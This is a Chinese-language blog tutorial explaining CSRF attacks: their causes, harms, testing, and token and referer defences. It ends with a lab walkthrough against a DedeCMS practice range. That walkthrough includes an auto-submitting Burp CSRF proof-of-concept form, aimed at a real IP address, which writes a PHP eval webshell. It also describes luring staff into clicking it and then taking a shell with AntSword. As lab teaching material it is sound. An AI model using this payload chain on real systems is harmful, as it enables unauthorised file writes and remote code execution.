CSRF漏洞详解

注意

  1. 任何网站以及互联网功能的本质:数据包的传递。
  2. CSRF的核心是让客户端的浏览器去访问,SSRF核心是让服务器去访问。
  3. XSS是窃取cookie,CSRF是利用cookie。
  4. 浏览器CORS【跨站资源共享】的问题,不同的网站发送JS请求浏览器会主动拦截删除Cookie,所以这种漏洞偏少。

什么是CSRF

CSRF(Cross-site request forgery)跨站请求伪造:也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

CSRF的成因

CSRF漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个都网站,会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的CSRF脚本或包含CSRF脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号、ajax异步传输【通过JS去发送请求,然后获取信息】。与钓鱼网站不同,钓鱼网站需要输入账号和密码,而CSRF只需要访问链接或者网页即可。

CSRF的危害

攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…,造成的问题包括:个人隐私泄露以及财产安全。

CSRF的利用

  1. 攻击者需要自己设置一个指向型的貌似合理页面诱导目标来点击访问。【百度、QQ存在CSRF】。

  2. Cookie不过期,没有进行进一步的验证用户信息,没有安全意识访问了恶意站点。

  3. 生成一个脚本或链接,当你操作时触发,就获得你在目标网站上的cookie,把数据提交到目标地址,当你访问或者操作时,浏览器偷偷执行了攻击者的操作
    在这里插入图片描述

  4. BurpSuite可以快速生成CSRFpoc【一个带验证的数据表单的脚本或链接,内有要操作的数据】。

在这里插入图片描述
在这里插入图片描述

<script>document.getElementById('aaa').submit();</script>    
//这行代码需要自己添加,代码含义是自动提交
  1. CSRF如何绕过referer?当浏览器的检测不严,比如referer值为空时,可以绕过,Referer可以伪装绕过。

CSRF的测试

找一个站,登录A用户,修改自己的账号密码。然后把数据包做成CSRF。换个浏览器,登录B,点击做好的CSRF,只要能修改就说明存在CSRF漏洞。

常见CSRF

  1. CMS:因为源码是固定的,所以数据包可以构建【管理员后台添加管理员】。
  2. 用户改用户。

CSRF的预防

  • 使用无痕模式或者隐私模式开启【不安全,cookie仍然是登录状态】—— 针对用户。
  • 输旧密码,我们修改密码有时候需要输入旧密码,这种情况下打不出CSRF漏洞。
  • token【没有token就可能有CSRF】 —— 针对网站
  • TokenCookie里面有一段随机值,和请求包里面的GET或者POST传参有一个关联。Token就是一段字母数字的随机值,访问时服务端会生成一个随机的token值并传回到前端的表单里,当我们提交表单时,token会作为一个参数提交到服务端进行验证。
  • token构造方式公开不影响它预防CSRF
  • 如果存在xss漏洞,token防御将无效
  • 浏览器CORS【跨站资源共享】的问题,不同的网站发送JS请求浏览器会主动拦截删除Cookie,所以这种漏洞偏少。
  • referer防御CSRF原理?Refer记录了该http请求的来源地址,访问一个安全受限页面请求必须来自同一个网站,如果不是则请求不合法无法生效 。

CSRF练习

  1. 靶场为dedecms,我们先尝试在本次测试。
    在这里插入图片描述
  2. 访问/uploads/install,进入安装页面。
    在这里插入图片描述

在这里插入图片描述
3. 安装成功后进入登录网站后台,访问文件式管理器,写入一个一句话木马文件。
在这里插入图片描述
4. 我们上传后抓包,查看是否存在token,如果没有,则说明存在CSRF。【注意:burp无法抓取127.0.0.1的包,要修改为自己的本机IP地址】
在这里插入图片描述
5. 没有token,我们利用burp生成csrfPOC,,将生成的数据放入html文件上传即可。
6. 访问127.0.0.1/1.html,测试到我们的文件自动提交。
7. 我们来到靶场,先访问dede/file_manage_control.php这个文件存不存在,发现这个文件是存在的。
8. 我们利用我们前面的修改过的csrfPOC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form id='aaa' action=" http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php" method="POST">     //修改过
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;newcsrf&#47;uploads" />       //修改过   
      <input type="hidden" name="filename" value="777&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;REQUEST&#91;8&#93;&#41;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;�&#191;&#157;&#32;�&#173;&#152;&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
	    document.getElementById('aaa').submit();
	    </script>
  </body>
</html>
  1. 我们在留言页面底部上传html文件,即可得到默认路径。访问该html文件,则会自动提交。
    在这里插入图片描述
  2. 我们在留言框输入,等到客服点击链接,访问http://59.63.166.75:8010/newcsrf/uploads/1.php?123=phpinfo();,回显php配置页面,即拿到shell,使用蚁剑连接即可得到flag
    在这里插入图片描述
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值